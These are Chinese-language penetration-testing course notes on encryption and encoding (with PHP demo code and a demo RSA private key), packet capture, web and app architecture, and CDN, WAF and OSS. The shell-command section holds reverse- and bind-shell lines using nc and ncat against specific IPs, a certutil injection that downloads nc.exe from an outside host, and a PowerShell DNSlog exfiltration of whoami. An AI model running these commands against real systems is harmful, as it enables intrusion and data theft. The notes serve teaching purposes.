0%

思维导图

1基础入门

知识点:

  • 17、单向散列加密 -MD5,HASH
  • 18、对称加密 -AES DES
  • 19、非对称加密 -RSA
  • 20、解密-识别&需求&寻找(前后端)&操作

章节点

  • 应用架构:Web/APP/云应用/小程序/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等



  • 安全测试中:
    密文-有源码直接看源码分析算法(后端必须要有源码才能彻底知道)
    密文-没有源码:1、猜识别 2、看前端JS(加密逻辑是不是在前端)

算法加密-概念&分类&类型

1. 单向散列加密 -MD5

单向散列加密算法的优点有(以MD5为例):
    方便存储,损耗低:加密对于性能的损耗微乎其微。
    单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解(碰撞解密)的。
常见的单向散列加密算法有:
    MD5 SHA MAC CRC

2. 对称加密 -AES

    对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
    缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的对称加密算法有:
    DES AES RC4
(aes关键在key、偏移量、模式;des关键在key、偏移量、填充、模式)

3. 非对称加密 -RSA

    非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
    缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
常见的非对称加密算法:
    RSA RSA2 PKCS

加密解密-识别特征&解密条件

MD5密文特点:

  • 1、由数字“0-9”和字母“a-f”所组成的字符串
  • 2、固定的位数 16 和 32位
    解密需求:密文即可,但复杂明文可能解不出

BASE64编码特点:

  • 1、大小写区分,通过数字和字母的组合
  • 2、一般情况下密文尾部都会有两个等号,明文很少的时候则没有
  • 3、明文越长密文越长,一般不会出现”/“”+”在密文中

AES、DES密文特点:

同BASE64基本类似,但一般会出现”/“和”+”在密文中
解密需求:密文,模式,加密Key,偏移量,条件满足才可解出

RSA密文特点:

特征同AES,DES相似,但是长度较长
解密需求:密文,公钥或私钥即可解出

其他密文特点见:

1.30余种加密编码类型的密文特征分析(建议收藏)
https://mp.weixin.qq.com/s?__biz=MzAwNDcxMjI2MA==&mid=2247484455&idx=1&sn=e1b4324ddcf7d6123be30d9a5613e17b&chksm=9b26f60cac517f1a920cf3b73b3212a645aeef78882c47957b9f3c2135cb7ce051c73fe77bb2&mpshare=1&scene=23&srcid=1111auAYWmr1N0NAs9Wp2hGz&sharer_sharetime=1605145141579&sharer_shareid=5051b3eddbbe2cb698aedf9452370026#rd

2.CTF中常见密码题解密网站总结(建议收藏)
https://blog.csdn.net/qq_41638851/article/details/100526839

3.CTF密码学常见加密解密总结(建议收藏)
https://blog.csdn.net/qq_40837276/article/details/83080460

解密实例-密文存储&数据传输

1、密码存储(后端处理)

  • X3.2-md5&salt
    DZ对应代码段-/uc_server/model/user.php
    1
    2
    3
    function add_user() {  
    $password = md5(md5($password).$salt);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?PHP
    $h = 'd7192407bb4bfc83d28f374b6812fbcd';
    $hash=md5(md5('123456').'3946d5');
    if($h==$hash){
    echo 'ok';
    }else{
    echo 'no';
    }
    ?>
  • X3.5-hash
    DZ对应代码段-/uc_server/model/user.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function add_user() {
    $salt = '';
    $password = $this->generate_password($password);
    }

    function generate_password($password) {
    $algo = $this->get_passwordalgo();
    $options = $this->get_passwordoptions();
    $hash = password_hash($password, $algo, $options);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    <?PHP
    $hash = '$2y$10$KA.7VYVheqod8F3X65tWjO3ZXfozNA2fC4oIZoDSu/TbfgKmiw7xO';
    if (password_verify('123456', $hash)) {
    echo 'ok';
    } else {
    echo 'error';
    }
    ?>

2、数据通讯

  • 博客登录-zblog(前端处理)
    1
    2
    3
    4
    5
    <script src="script/md5.js" type="text/javascript"></script>
    $("#btnPost").click(function(){
    var strPassWord=$("#edtPassWord").val();
    $("form").attr("action","cmd.php?act=verify");
    $("#password").val(MD5(strPassWord));
  • 墨者靶场-(后端处理)
    1
    2
    3
    union select 1,database(),user(),4_mozhe
    xgd58ipTrnx8VzSBJicqCibZxIRsZKgXOYUrNQP8fCCtx9JZ+6K1hHt7RKkzV305
    eGdkNThpcFRybng4VnpTQkppY3FDaWJaeElSc1pLZ1hPWVVyTlFQOGZDQ3R4OUpaKzZLMWhIdDdSS2t6VjMwNQ==
    //PHP7.3加密演示代码块
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    //aes
    namespace vendor;
    class EncryptionTool{
    public static function enAES($originTxt, $key): string{
    return base64_encode(openssl_encrypt($originTxt, 'AES-128-ECB',$key, OPENSSL_RAW_DATA));
    }
    public static function deAES($originTxt, $key): string{
    $data = base64_decode($originTxt);
    return openssl_decrypt($data,'AES-128-ECB',$key, OPENSSL_RAW_DATA);
    }
    }
    //des
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    class DES
    {
    /**
    * @var string $method 加解密方法,可通过 openssl_get_cipher_methods() 获得
    */
    protected $method;
    /**
    * @var string $key 加解密的密钥
    */
    protected $key;
    /**
    * @var string $output 输出格式 无、base64、hex
    */
    protected $output;
    /**
    * @var string $iv 加解密的向量
    */
    protected $iv;
    /**
    * @var string $options
    */
    protected $options;
    // output 的类型
    const OUTPUT_NULL = '';
    const OUTPUT_BASE64 = 'base64';
    const OUTPUT_HEX = 'hex';
    /**
    * DES constructor.
    * @param string $key
    * @param string $method
    * ECB DES-ECB、DES-EDE3 (为 ECB 模式时,$iv 为空即可)
    * CBC DES-CBC、DES-EDE3-CBC、DESX-CBC
    * CFB DES-CFB8、DES-EDE3-CFB8
    * CTR
    * OFB
    *
    * @param string $output
    * base64、hex
    *
    * @param string $iv
    * @param int $options
    */
    public function __construct($key, $method = 'DES-ECB', $output = '', $iv = '', $options = OPENSSL_RAW_DATA | OPENSSL_NO_PADDING)
    {
    $this->key = $key;
    $this->method = $method;
    $this->output = $output;
    $this->iv = $iv;
    $this->options = $options;
    }
    /**
    * 加密
    *
    * @param $str
    * @return string
    */
    public function encrypt($str)
    {
    $str = $this->pkcsPadding($str, 8);
    $sign = openssl_encrypt($str, $this->method, $this->key, $this->options, $this->iv);
    if ($this->output == self::OUTPUT_BASE64) {
    $sign = base64_encode($sign);
    } else if ($this->output == self::OUTPUT_HEX) {
    $sign = bin2hex($sign);
    }
    return $sign;
    }
    /**
    * 解密
    *
    * @param $encrypted
    * @return string
    */
    public function decrypt($encrypted)
    {
    if ($this->output == self::OUTPUT_BASE64) {
    $encrypted = base64_decode($encrypted);
    } else if ($this->output == self::OUTPUT_HEX) {
    $encrypted = hex2bin($encrypted);
    }
    $sign = @openssl_decrypt($encrypted, $this->method, $this->key, $this->options, $this->iv);
    $sign = $this->unPkcsPadding($sign);
    $sign = rtrim($sign);
    return $sign;
    }
    /**
    * 填充
    *
    * @param $str
    * @param $blocksize
    * @return string
    */
    private function pkcsPadding($str, $blocksize)
    {
    $pad = $blocksize - (strlen($str) % $blocksize);
    return $str . str_repeat(chr($pad), $pad);
    }
    /**
    * 去填充
    *
    * @param $str
    * @return string
    */
    private function unPkcsPadding($str)
    {
    $pad = ord($str{strlen($str) - 1});
    if ($pad > strlen($str)) {
    return false;
    }
    return substr($str, 0, -1 * $pad);
    }
    }

//rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
define('RSA_PUBLIC', '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmkANmC849IOntYQQdSgLvMMGm
8V/u838ATHaoZwvweoYyd+/7Wx+bx5bdktJb46YbqS1vz3VRdXsyJIWhpNcmtKhY
inwcl83aLtzJeKsznppqMyAIseaKIeAm6tT8uttNkr2zOymL/PbMpByTQeEFlyy1
poLBwrol0F4USc+owwIDAQAB
-----END PUBLIC KEY-----');

define('RSA_PRIVATE','-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAKaQA2YLzj0g6e1h
BB1KAu8wwabxX+7zfwBMdqhnC/B6hjJ37/tbH5vHlt2S0lvjphupLW/PdVF1ezIk
haGk1ya0qFiKfByXzdou3Ml4qzOemmozIAix5ooh4Cbq1Py6202SvbM7KYv89syk
HJNB4QWXLLWmgsHCuiXQXhRJz6jDAgMBAAECgYAIF5cSriAm+CJlVgFNKvtZg5Tk
93UhttLEwPJC3D7IQCuk6A7Qt2yhtOCvgyKVNEotrdp3RCz++CY0GXIkmE2bj7i0
fv5vT3kWvO9nImGhTBH6QlFDxc9+p3ukwsonnCshkSV9gmH5NB/yFoH1m8tck2Gm
BXDj+bBGUoKGWtQ7gQJBANR/jd5ZKf6unLsgpFUS/kNBgUa+EhVg2tfr9OMioWDv
MSqzG/sARQ2AbO00ytpkbAKxxKkObPYsn47MWsf5970CQQDIqRiGmCY5QDAaejW4
HbOcsSovoxTqu1scGc3Qd6GYvLHujKDoubZdXCVOYQUMEnCD5j7kdNxPbVzdzXll
9+p/AkEAu/34iXwCbgEWQWp4V5dNAD0kXGxs3SLpmNpztLn/YR1bNvZry5wKew5h
z1zEFX+AGsYgQJu1g/goVJGvwnj/VQJAOe6f9xPsTTEb8jkAU2S323BG1rQFsPNg
jY9hnWM8k2U/FbkiJ66eWPvmhWd7Vo3oUBxkYf7fMEtJuXu+JdNarwJAAwJK0YmO
LxP4U+gTrj7y/j/feArDqBukSngcDFnAKu1hsc68FJ/vT5iOC6S7YpRJkp8egj5o
pCcWaTO3GgC5Kg==
-----END PRIVATE KEY-----');

$password='xiaodisec';

//md5

1
2
echo "原始数据:$password". "<br/>";
echo "MD5加密后:".md5($password). "<hr/>";

//base64

1
2
echo "原始数据:$password". "<br/>";
echo "BASE64编码后:".base64_encode($password). "<hr/>";

//aes

1
2
3
4
echo "原始数据: " . $password . "<br/>";
$data = EncryptionTool::enAES($password, "1234567891234567");
echo "AES加密后: " . $data . "<hr/>";
//echo "解密后: " . EncryptionTool::deAES($data, "1234567891234567") . "<br/>";

//des

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
echo "原始数据:$password". "<br/>";
$key = 'key123456';
$iv = 'iv123456';
// DES CBC 加解密
echo 'DES CBC 加解密:';
$des = new DES($key, 'DES-CBC', DES::OUTPUT_BASE64, $iv);
echo $base64Sign = $des->encrypt($password);
echo "<br>";
//echo $des->decrypt($base64Sign);
echo "<hr>";
// DES ECB 加解密
echo "原始数据:$password". "<br/>";
echo 'DES ECB 加解密:';
$des = new DES($key, 'DES-ECB', DES::OUTPUT_BASE64);
echo $base64Sign = $des->encrypt($password);
echo "<hr>";
//echo $des->decrypt($base64Sign);

//rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//公钥加密 
$public_key = openssl_pkey_get_public(RSA_PUBLIC);
if(!$public_key){
die('公钥不可用');
}
//第一个参数是待加密的数据只能是string,第二个参数是加密后的数据,第三个参数是openssl_pkey_get_public返回的资源类型,第四个参数是填充方式
$return_en = openssl_public_encrypt($password, $crypted, $public_key);
if(!$return_en){
return('加密失败,请检查RSA秘钥');
}
$eb64_cry = base64_encode($crypted);
echo "RSA公钥加密数据:".$eb64_cry;
echo "<br>";
//私钥解密
$private_key = openssl_pkey_get_private(RSA_PRIVATE);
if(!$private_key){
die('私钥不可用');
}
$return_de = openssl_private_decrypt(base64_decode($eb64_cry), $decrypted, $private_key);
if(!$return_de){
return('解密失败,请检查RSA秘钥');
}
echo "RSA私钥解密数据:".$decrypted;
echo "<hr>";


//私钥加密
$private_key = openssl_pkey_get_private(RSA_PRIVATE);
if(!$private_key){
die('私钥不可用');
}
$return_en = openssl_private_encrypt($password, $crypted, $private_key);
if(!$return_en){
return('加密失败,请检查RSA秘钥');
}
$eb64_cry = base64_encode($crypted);
echo "RSA私钥加密数据".$eb64_cry;
echo "<br>";
//公钥解密
$public_key = openssl_pkey_get_public(RSA_PUBLIC);
if(!$public_key){
die('公钥不可用');
}
$return_de = openssl_public_decrypt(base64_decode($eb64_cry), $decrypted, $public_key);
if(!$return_de){
return('解密失败,请检查RSA秘钥');
}
echo "RSA公钥解密数据:".$decrypted;
echo "<hr>";
?>

思维导图

1基础入门

知识点:

  • 13、存储密码加密-应用对象
  • 14、传输加密编码-发送回显
  • 15、数据传输格式-统一格式
  • 16、代码特性混淆-开发语言

章节点

应用架构:Web/APP/云应用/小程序/负载均衡等
安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
渗透命令:文件上传下载/端口服务/Shell反弹等
抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
算法加密:数据编码/密码算法/密码保护/反编译/加壳等

传输数据-编码型&加密型等

例:某视频、某Web站、博客登录、APP-斗地主
影响:漏洞探针

传输格式-常规&JSON&XML等

例:App-期H、APP-斗地主
影响:发送漏洞探针,回显数据分析

密码存储-Web&系统&三方应用

例:ZZZCMS&Dz、Win&Linux、MSSQL&MYSQL
影响:安全后渗透测试

代码混淆-源代码加密&逆向保护

例:PHP&JS混淆加密、EXE&JAR代码保护
影响:代码审计,逆向破解
https://indialms.in/wfp_login.php?r_id=1
base64编码
username=YWRtaW4=
https://indialms.in/wfp_login.php?r_id=MQ==112123

数据在传输的时候进行编码 为什么要了解?

    对方服务器可能会在接受的时候进行解码在带入如果我们还是按照原有思路不对自己的Payload进行同样编码的话 传入过去的东西就是不认识的东西 测试无效
    正确:测试的话也要进行payload同样的加密或编码进行提交安全测试漏洞时候 通常都会进行数据的修改增加提交测试以数据的正确格式发送接受才行
登录的数据包:
    admin 123456
MD5加密:
    username=admin&password=123456
    username=admin&password=e10adc3949ba59abbe56e057f20f883e

###如果进行密码破解爆破
字典文件:
帐号什么都不用更改 去替换username=值即可
密码需要进行密码算法 保证和password=值同等加密才行
https://tv.sohu.com/v/dXMvMzg1MjM2NzE5LzQyNzUyODUzOC5zaHRtbA==.html

开发:数组 列表
btnPost=%E7%99%BB%E5%BD%95&username=admin and&password=e10adc3949ba59abbe56e057f20f883e&savedate=1

1
2
3
4
5
6
{
btnPost:"%E7%99%BB%E5%BD%95";
username:"admin";
password:"e10adc3949ba59abbe56e057f20f883e and";
savedate:1;
}

json xml 常规
x=123

1
2
3
{
x:123
}

zzzcms admin /123456 密文利用md5加密
md5(123456)=密文
dz3.2 admin /123456
md5(md5(123456).salt)=密文
dz3.5 admin / 123456
aes des(密匙 偏移量 填充 模式等)
$2y$10$OtsSmawENczg1BLcQCEn5OdLqJC9GLiDrClwEUooNnn8b609DfJc.

大部分的解密都是碰撞式解密
不是算法的逆向的还原解密

  • 1.常见加密编码进制等算法解析
    MD5,SHA,ASC,进制,时间戳,URL,BASE64,Unescape,AES,DES等
  • 2.常见加密编码形式算法解析
    直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等
  • 3.常见解密解码方式(针对)
    枚举,自定义逆向算法,可逆向
    4.常见加密解码算法的特性
    长度位数,字符规律,代码分析,搜索获取等

本课意义:

1.了解加密编码进制在安全测试中的存在
2.掌握常见的加密解密编码解码进制互转的操作
3.了解常见的加密解密编码解密进制互转的影响

识别算法编码方法:
1、看密文位数
2、看密文的特征(数字,字母,大小写,符号等)
3、看当前密文存在的地方(Web,数据库,操作系统等应用)

拓展补充参考资料:

思维导图

1基础入门

知识点:

  • 9、抓包技术-HTTP/S-Web & APP & 小程序 & PC应用等
  • 10、抓包工具-Burp & Fidder & Charles & Proxifier
  • 11、抓包技术-全局-APP&小程序&PC应用
  • 12、抓包工具-Wireshark&科来分析&封包

章节点

  • 应用架构:Web/APP/云应用/小程序/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等

工具的介绍和使用

准备工作:

  • 1、浏览器安装证书:解决本地抓HTTPS
  • 2、模拟器安装证书:解决模拟器抓HTTPS
  • 3、安装科来网络分析系统&WireShark

实现目的:

  • 1、掌握几种抓包工具证书安装操作
  • 2、掌握几种HTTP/S抓包工具的使用
  • 3、学会Web,APP,小程序,PC应用等抓包
  • 4、了解此课抓包是针对那些目标什么协议

Fiddler:

https://www.telerik.com/fiddler
        描述:是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件)。 Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。

Charles:

https://www.charlesproxy.com/
        描述:是一个HTTP代理服务器,HTTP监视器,反转代理服务器,当浏览器连接Charles的代理访问互联网时,Charles可以监控浏览器发送和接收的所有数据。它允许一个开发者查看所有连接互联网的HTTP通信,这些包括request, response和HTTP headers (包含cookies与caching信息)。
(charles包发给burp–external proxy)

TCPDump:

https://cloud.tencent.com/developer/article/1589827
        描述:是可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。

BurpSuite:

        描述:是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

Wireshark:

https://www.wireshark.org/
        描述:是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。

科来网络分析系统:

https://www.colasoft.com.cn/
        描述:是一款由科来软件全自主研发,并拥有全部知识产品的网络分析产品。该系统具有行业领先的专家分析技术,通过捕获并分析网络中传输的底层数据包,对网络故障、网络安全以及网络性能进行全面分析,从而快速排查网络中出现或潜在的故障、安全及性能问题。

WPE&封包分析:

        描述:是强大的网络封包编辑器,wpe可以截取网络上的信息,修改封包数据,是外挂制作的常用工具。一般在安全测试中可用来调试数据通讯地址。

思维导图

1基础入门

知识点:

  • 6、渗透命令-常规命令&文件上传下载
  • 7、反弹Shell-防火墙策略&正反向连接
  • 8、数据回显-查询带外&网络协议层级

章节点

  • 应用架构:Web/APP/云应用/小程序/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等

正反向连接

常规基本渗透命令详解

     https://blog.csdn.net/weixin_43303273/article/details/83029138

实用案例1:文件上传下载-解决无图形化&解决数据传输

    命令生成:https://forum.ywhack.com/bountytips.php?download
    Linux:wget curl python ruby perl java等
    Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

实用案例2:反弹Shell命令-解决数据回显&解决数据通讯

    命令生成:https://forum.ywhack.com/shell.php

  • 1、正向连接:本地监听等待对方连接
        Linux控制Windows

nc -e cmd -lvp 5566 //windows绑定CMD到本地5566端口
ncat 47.122.23.131 5566 //linux主动连接目标windows5566端口

    Windows控制Linux

ncat -e /bin/sh -lvp 5566 //linux绑定SH到本地5566端口

nc 47.94.236.117 5566 //windows主动连接目标linux5566端口

  • 2、反向连接:主动给出去,对方监听
         Windows控制Linux

ncat -e /bin/sh 47.122.23.131 5566 //linux绑定SH到目标windows5566端口
nc -lvvp 5566 //windows监听5566端口,等待linux5566连接
    Linux控制Windows
nc -e cmd 47.94.236.117 5566 //windows绑定CMD到目标linux5566端口
ncat -lvvp 5566 //linux监听5566端口,等待windows目标连接

实际案例1:防火墙绕过-正向连接&反向连接&内网服务器

  • 1、判断windows

  • 2、windows没有自带的nc

  • 3、想办法上传nc 反弹权限

    1
    127.0.0.1 | certutil.exe -urlcache -split -f http://101.133.139.57:80/nc.exe c://nc.exe  
  • 4、反弹
    开启入站策略,采用反向连接:

    1
    2
    ncat -lvp 5566    //攻击机linux监听本地端口5566  
    127.0.0.1 | c:\\nc.exe -e cmd 101.133.139.57 5566 //window目标主机主动连接linux主机

    开启出站策略,采用正向连接:

    1
    2
    127.0.0.1 | c:\\nc.exe -e cmd -lvp 5566    //windows本地绑定cmd 5566端口  
    ncat 43.154.116.147 5566 //linux去连接目标主机

    正反向反弹案例-内网服务器
    只能内网主动交出数据,反向连接
    出站入站都开启策略(数据不回显):OSI网络七层

实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog

1.管道符

管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows->| & || &&
Linux->; | || & && ``
例子:

1
2
3
4
5
6
ping -c 1 127.0.0.1 ; whoami  
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`

2.利用powershell进行带外查询

    描述:windows系统cmd无法执行whoami,用到powershell变量赋值把whoami执行结果给变量,结果带有“\” 导致ping无法执行
    powershell命令:

1
2
3
4
5
6
7
8
9
10
11
$x=whoami;
$x=$x.Replace('\','xxx');
$y='.thec6z.dnslog.cn';
$z=$x+$y;
ping $z
127.0.0.1 | powershell
$x=ver;
$x=$x.Replace('\','xxx');
$y='.vpod5d.dnslog.cn';
$z=$x+$y;
ping $z

3.DNSlog平台接收数据

    http://www.dnslog.cn/

思维导图

1基础入门

知识点:

  • 4、APP架构-封装 & 原生态 & H5 & flutter等
  • 5、小程序架构-Web & H5 & JS & VUE框架等

章节点

  • 应用架构:Web/APP/云应用/小程序/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等

APP应用开发架构:

  • 1、原生开发
        安卓一般使用java语言开发,当然现在也有kotlin语言进行开发。如何开发就涉及到具体编程了,这里就不详说了。简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可以通过自定义控件来实现。
  • 2、使用H5语言开发
        使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没有原生好的。结合我做过的项目来说,一般是这个页面需要分享出去的话,就用H5开发。
  • 3、使用flutter开发
        flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可媲美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对偏低。
  • 4、常规Web开发
        Web App软件开发简单地说,就是开发一个网站,然后加入app的壳。Web App一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且app内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低。

APP-开发架构-原生态-IDEA

    演示:remusic项目源码
    安全影响:反编译&抓包&常规测试
    安全影响:逆向的角度去分析逻辑设计安全

APP-开发架构–Web封装-封装平台

    演示:ShopXO源码程序+一门APP打包
    安全影响:常Web安全测试

APP-开发架构-H5&Vue-HBuilderX

    演示:HBuilderX案例
    安全影响:API&JS框架安全问题&JS前端测 试

WX小程序-开发架构-Web封装-平台

    演示:ShopXO源码程序+一门APP打包
    安全影响:常规Web安全测试

WX小程序-开发架构-H5&Vue-HBuilderX

    演示:HBuilderX案例
    安全影响:API&JS框架安全问题&JS前端测试

思维导图

1基础入门

知识点:

  • 1、Web常规-系统 & 中间件 & 数据库 & 源码等
  • 2、Web其他-前后端 & 软件 & Docker & 分配站等
  • 3、Web拓展-CDN & WAF & OSS & 反向 & 负载均衡等

章节点

  • 应用架构:Web/APP/云应用/三方服务/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等

WAF

WAF
    原理:Web应用防火墙,旨在提供保护
    影响:常规Web安全测试手段会受到拦截
    演示:免费D盾防护软件
    Windows2012 + IIS +D盾
    (基本没漏洞,遇到就跑)

CDN

WAF
    分发网络CDN(Content Delivery Network)是建立并覆盖在承载网之上,由遍布全球的边缘节点服务器群组成的分布式网络。阿里云CDN能分担源站压力,避免网络拥塞,确保在不同区域、不同场景下加速网站内容的分发,提高资源访问速度。
    原理:内容分发服务,旨在提高访问速度
    影响:隐藏真实源IP,导致对目标测试错误
    演示:阿里云备案域名全局CDN加速服务
    Windows2012 + BT宝塔面板 + CDN服务
    常见的获取网站真实IP的途径:
        超级ping
        获取子域名ip
        海外测试
        查看自建邮件ip
        网络搜索引擎搜索(可能存在历史ip,再未部署cdn之前记录的)
        ip库fuzz(概率不大,并且需要跑的内容过于庞大)
        ……
    在获取到真实ip之后,即可绑定本地host,使用漏扫工具等进行测试。

OSS

OSS
    原理:云存储服务,旨在提高访问速度
    影响: 无法进行getshell等操作,但是可以通过获取osskey进行储存桶权限接管,直接得到oss权限
    演示:https://cloudreve.org/
    Windows2012 + cloudreve + 阿里云OSS
    https://github.com/cloudreve/Cloudreve/releases/tag/3.7.1
    1、启动应用
    2、登录管理
    3、配置存储信息
    4、更改用户组存储属性

阿里云OSS:
    1、开OSS
    2、新建Bucket
    3、配置Bucket属性
    4、配置Access访问

原理:
为什么要使用第三方存储?
    1)静态文件会占用大量带宽
    2)加载速度
    3)存储空间
影响:
上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
    1、修复上传安全
    2、文件解析不一样
    3、存在A ccesskey隐患

反向代理

    正代理为客户端服务,客户端主动建立代理访问目标(不代理不可达)
反向代理为服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
    原理:通过网络反向代理转发真实服务达到访问目的
    影响:访问目标只是一个代理,非真实应用服务器
    注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的功能操作,导致反代理出的站点指向和真实应用毫无关系!
    演示:Nginx反向代理配置
    Windows2012 + BT宝塔面板 + Nginx

负载均衡

    原理:分摊到多个操作单元上进行执行,共同完成工作任务
    影响:有多个服务器加载服务,测试过程中存在多个目标情况
    演示:Nginx负载均衡配置
    Windows2012 + BT宝塔面板 + Nginx

定义负载设置

1
2
3
4
upstream fzjh{
server 47.94.236.117:80 weight=2;
server 47.122.22.195:80 weight=1;
}

定义访问路径 访问策略

1
2
3
location / {  
proxy_pass http://fzjh/;
}

思维导图

1基础入门

知识点:

  • 1、Web常规-系统 & 中间件 & 数据库 & 源码等
  • 2、Web其他-前后端 & 软件 & Docker & 分配站等
  • 3、Web拓展-CDN & WAF & OSS & 静态 & 负载均衡等

章节点

  • 应用架构:Web/APP/云应用/三方服务/负载均衡等
  • 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
  • 渗透命令:文件上传下载/端口服务/Shell反弹等
  • 抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
  • 算法加密:数据编码/密码算法/密码保护/反编译/加壳等

常规化

    原理:源码数据都在同服务器
    影响:无,常规安全测试手法

站库分离:

    原理:源码数据库不在同服务器
    存储:其他服务器上数据库&云数据库产品
    影响:数据被单独存放,能连接才可影响数据

前后端分离

    原理:前端JS框架,API传输数据
    影响:
    1、前端页面大部分不存在漏洞
    2、后端管理大部分不在同域名
    3、获得权限有可能不影响后端(可能不在同一域名下)

宝塔+Phpstudy

    原理:打包类集成化环境,权限配置或受控制
    影响:攻击者权限对比区别
    通常情况下,对于宝塔linux搭建的网站,获取的权限为www-data,该权限只能查看当前wwwroot路径下的文件,权限低,可以考虑进一步提权;对于phpstudy搭建的网站,通常多数为windows,再没有新建用户的情况下,直接拿到的权限就是administrator 无需提权即可满足多数情况的操作,这就是对于集成化环境搭建网站最主要的区别。

Docker容器

    原理:虚拟化技术独立磁盘空间,非真实物理环境
    影响:攻击者虚拟空间磁盘
    (获取的权限是一小块虚拟空间——>docker逃逸)
    该类站点在拿到权限之后,例如反弹shell之后,可以明显的看见主机名为一串数字,权限为root,文件目录中存在docker等文件夹或文件,此类情况下,在存在docker配置不当,或者内核存在漏洞的情况下,可以进行虚拟机逃逸。如果不能逃逸,只能就此结束。

建站分配站

    1.托管
    2.申请
    原理:利用别人域名模版建立
    影响:实质安全测试非目标资产
    (网站搭建借助平台——>查域名与网站内容是否相符)
    例:博客园、凡客建站等

静态Web

    例子:大学学的html设计的网站
    原理:数据没有传输性(js传输不算)
    影响:无漏洞

伪静态

    动态转为静态技术,伪装的静态(似是静态实则是动态,不唯一)
    还是利用动态网站的测试方法进行测试

思维导图

